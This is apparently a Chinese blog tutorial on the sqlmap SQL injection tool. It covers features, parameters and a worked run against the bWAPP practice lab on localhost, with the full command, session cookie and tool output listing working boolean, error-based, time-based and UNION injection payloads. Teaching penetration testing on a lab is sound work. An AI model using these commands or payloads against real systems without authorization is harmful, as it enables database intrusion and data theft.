• 渗透测试工具-sqlmap

    sqlmap是一个开源渗透测试的自动化工具，可以自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了一个强大的检测引擎，许多用于终极渗透测试的利基功能，以及广泛的开关，包括数据库指纹识别、从数据库中获取数据、访问底层文件系统，以及通过带外连接在操作系统上执行命令。

    特点

    Sqlmap的主要特点如下。

    ●支持多种数据库：MySQL、Oracle、PostgreSQL、Microsoft SQL Server、MariaDB、Microsoft Access、IBM DB2、SQLite、Sybase等。

    ●支持6种SQL注入技术：布尔盲注、时间盲注、显错式注入、联合查询注入、堆查询注入和OOB（Out-Of-Band，带外数据）注入。

    ●支持用户名、数据库、数据表、字段等信息的枚举。●支持自动识别密码哈希格式，并使用字典破解密码。●支持在所有数据库中搜索特定的数据库名、数据表名和字段。由于SQL注入漏洞的存在范围较广、危险性较大，Sqlmap强大的检测引擎为渗透测试提供了极大的便利。

    安装

    sqlmap是用python语言编写的，在安装Sqlmap之前，需要先安装Python 2.6/2.7或Python 3.x。

    下载zip包解压。

    Sqlmap的参数Sqlmap的选项参数有Target、Request、Injection、Brute force等13类，较常用的有以下4类。

    ●Target：确定SQL注入检测和攻击的目标，如指定URL。

    ●Request：定义如何连接目标URL，也就是定义请求内容，如指定Cookie的值。

    ●Injection：指定要测试的参数、提供payload等，如指定注入点。

    ●Enumeration：最常用且最重要的选项参数，主要用来枚举信息，如数据库、数据表和字段等信息。 

    常用参数及说明

    常见的Sqlmap参数使用方法如下

    (1)GET型注入使用参数“-u”指定SQL注入的URL，URL中包含GET请求参数。 

    (2)POST型注入

    使用参数“-u”指定SQL注入的URL，参数“--data”指定POST请求的数据体。 

    (3)带Cookie参数的注入

    使用参数“-u”指定SQL注入的URL，参数“--cookie”指定请求中携带的Cookie值。 

     

    (4)枚举所有数据库名

     使用参数“-u”指定SQL注入的URL，参数“--dbs”枚举所有的数据库。

    (5)枚举指定数据库所有数据表的表名

    使用参数“-u”指定SQL注入的URL，参数“--tables”枚举所有的数据表，参数“-D”指定枚举数据表所在的数据库。 

    示例

    测试使用bwapp靶机

    1、get+cookie

    SQL Injection (GET/Search)，级别low，使用burpsuite代理，操作搜索抓到get方法。

    然后复制url至sqlmap进行测试。

    python sqlmap.py -u "http://locahost/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=2jm70f1ms8rv5hs3m58p7ugan0; security_level=0"

     

    1. D:\Program Files\sqlmapproject-sqlmap-7a6abb5>python sqlmap.py -u "http://locahost/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=2jm70f1ms8rv5hs3m58p7ugan0; security_level=0"
    2.         ___
    3.        __H__
    4.  ___ ___[']_____ ___ ___  {1.7.10.3#dev}
    5. |_ -| . ["]     | .'| . |
    6. |___|_  [)]_|_|_|__,|  _|
    7.       |_|V...       |_|   https://sqlmap.org
    8.  
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    11. [*] starting @ 19:05:23 /2023-10-25/
    13. [19:05:25] [INFO] testing connection to the target URL
    14. [19:05:25] [WARNING] potential CAPTCHA protection mechanism detected
    15. [19:05:25] [INFO] checking if the target is protected by some kind of WAF/IPS
    16. [19:05:25] [INFO] testing if the target URL content is stable
    17. [19:05:25] [INFO] target URL content is stable
    18. [19:05:25] [INFO] testing if GET parameter 'title' is dynamic
    19. [19:05:25] [INFO] GET parameter 'title' appears to be dynamic
    20. [19:05:26] [INFO] heuristic (basic) test shows that GET parameter 'title' might be injectable (possible DBMS: 'MySQL')
    21. [19:05:26] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to cross-site scripting (XSS) attacks
    22. [19:05:26] [INFO] testing for SQL injection on GET parameter 'title'
    23. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    24. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    25. [19:05:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    26. [19:05:38] [WARNING] reflective value(s) found and filtering out
    27. [19:05:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    28. [19:05:38] [INFO] testing 'Generic inline queries'
    29. [19:05:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
    30. [19:05:39] [INFO] GET parameter 'title' appears to be 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Tony")
    31. [19:05:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    32. [19:05:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
    33. [19:05:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    34. [19:05:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    35. [19:05:39] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
    36. [19:05:39] [INFO] GET parameter 'title' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
    37. [19:05:39] [INFO] testing 'MySQL inline queries'
    38. [19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
    39. [19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
    40. [19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
    41. [19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
    42. [19:05:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
    43. [19:05:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
    44. [19:05:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    45. [19:05:49] [INFO] GET parameter 'title' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
    46. [19:05:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    47. [19:05:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
    48. [19:05:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    49. [19:05:49] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    50. [19:05:49] [INFO] target URL appears to have 6 columns in query
    51. [19:05:49] [INFO] GET parameter 'title' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
    52. GET parameter 'title' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    53. sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
    54. ---
    55. Parameter: title (GET)
    56.     Type: boolean-based blind
    57.     Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    58.     Payload: title=a%' AND 2361=2361#&action=search
    59.  
    60.     Type: error-based
    61.     Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    62.     Payload: title=a%' AND GTID_SUBSET(CONCAT(0x71766a7671,(SELECT (ELT(5885=5885,1))),0x7171767671),5885) AND 'GosY%'='GosY&action=search
    63.  
    64.     Type: time-based blind
    65.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    66.     Payload: title=a%' AND (SELECT 9644 FROM (SELECT(SLEEP(5)))Qlbf) AND 'DOFS%'='DOFS&action=search
    67.  
    68.     Type: UNION query
    69.     Title: MySQL UNION query (NULL) - 6 columns
    70.     Payload: title=a%' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x724657704c5462437969727444704961755a5573736f44544a6946706a49417843735672686f6b77,0x7171767671),NULL,NULL,NULL#&action=search
    71. ---
    72. [19:06:07] [INFO] the back-end DBMS is MySQL
    73. web application technology: PHP 5.6.9, Apache 2.4.39
    74. back-end DBMS: MySQL >= 5.6
    75. [19:06:07] [INFO] fetched data logged to text files under 'C:\Users\\AppData\Local\sqlmap\output\locahost'
    77. [*] ending @ 19:06:07 /2023-10-25/

    先找到了title参数为动态的，可注入的injectable
    参数title可能存在XSS攻击
    接着测试了'AND boolean-based blind - WHERE or HAVING clause'
    testing 'Boolean-based blind - Parameter replace (original value)'
    testing 'Generic inline queries'
    testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
    结论：存在布尔注入，基于错误的注入，基于时间的盲注，UNION查询。

    2、post方法

    D:\Program Files\sqlmapproject-sqlmap-7a6abb5>python sqlmap.py -u "http://locahost/login.php" --data="login=bee&password=bug&security_level=0&form=submit"
     

     

    直接看结论，没找到可以注入的地方。 

     sqlmap连接数据库

    sqlmap文件读取目标

     sqlmap google批量扫注入

     sqlmap设置HTTP方法

    sqlmap设置POST请求参数

    sqlmap设置参数分隔符

    sqlmap设置cookie头

     

     

     

  • 相关阅读:
    2023年内网穿透常用的几个工具
    【web-攻击会话管理】（4.3.2）会话令牌处理中的薄弱：令牌-会话映射、会话终止、客户端暴露、宽泛的cookie范围易受攻击
    数字化新零售平台系统提供商，门店商品信息智慧管理-亿发进销存
    《深入理解Java虚拟机》读书笔记--第一部分走进java
    【博学谷学习记录】超强总结，用心分享|架构师-nacos功能应用
    开源框架面试之Dubbo面试题
    perf top 实时分析 CPU 使用情况
    Atcoder Beginner Contest 294
    ThemeForest – Canvas 7.2.0 – 多用途 HTML5 模板
    JavaFx-初识
  • 原文地址：https://blog.csdn.net/seanyang_/article/details/134024501